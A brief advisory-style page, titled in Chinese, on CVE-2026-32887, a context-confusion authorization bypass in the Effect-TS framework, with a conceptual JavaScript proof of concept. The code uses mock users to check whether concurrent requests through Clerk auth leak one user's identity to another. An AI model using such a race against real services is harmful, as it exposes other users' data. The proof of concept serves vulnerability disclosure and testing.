CVE-2026-32887 Effect框架权限绕过漏洞

// Conceptual PoC for Context Confusion in Effect-TS const { Effect } = require("effect"); const clerk = require("@clerk/nextjs/server"); const express = require("express"); const app = express(); async function simulateVulnerableEndpoint() { // Simulate two concurrent requests from different users const userA = { id: "user_A", token: "token_A" }; const userB = { id: "user_B", token: "token_B" }; // Simulate requests hitting the server concurrently const results = await Promise.all([ // Request 1: User A tries to get their profile makeRequest(userA), // Request 2: User B tries to get their profile makeRequest(userB) ]); console.log("User A received data for:", results[0].userId); console.log("User B received data for:", results[1].userId); // Vulnerability condition: User A might receive User B's data if (results[0].userId === userB.id) { console.log("VULNERABILITY CONFIRMED: Context Confusion detected!"); } } // Mocking the vulnerable handler behavior async function makeRequest(userContext) { // In the vulnerable version, Effect.runPromise might not properly // inherit the AsyncLocalStorage context from the HTTP request. return Effect.runPromise( Effect.tryPromise(async () => { // This call relies on AsyncLocalStorage to get the current user // In the bug, it might read the context from a concurrent fiber const auth = await clerk.auth(); return { userId: auth.userId }; }) ); } simulateVulnerableEndpoint();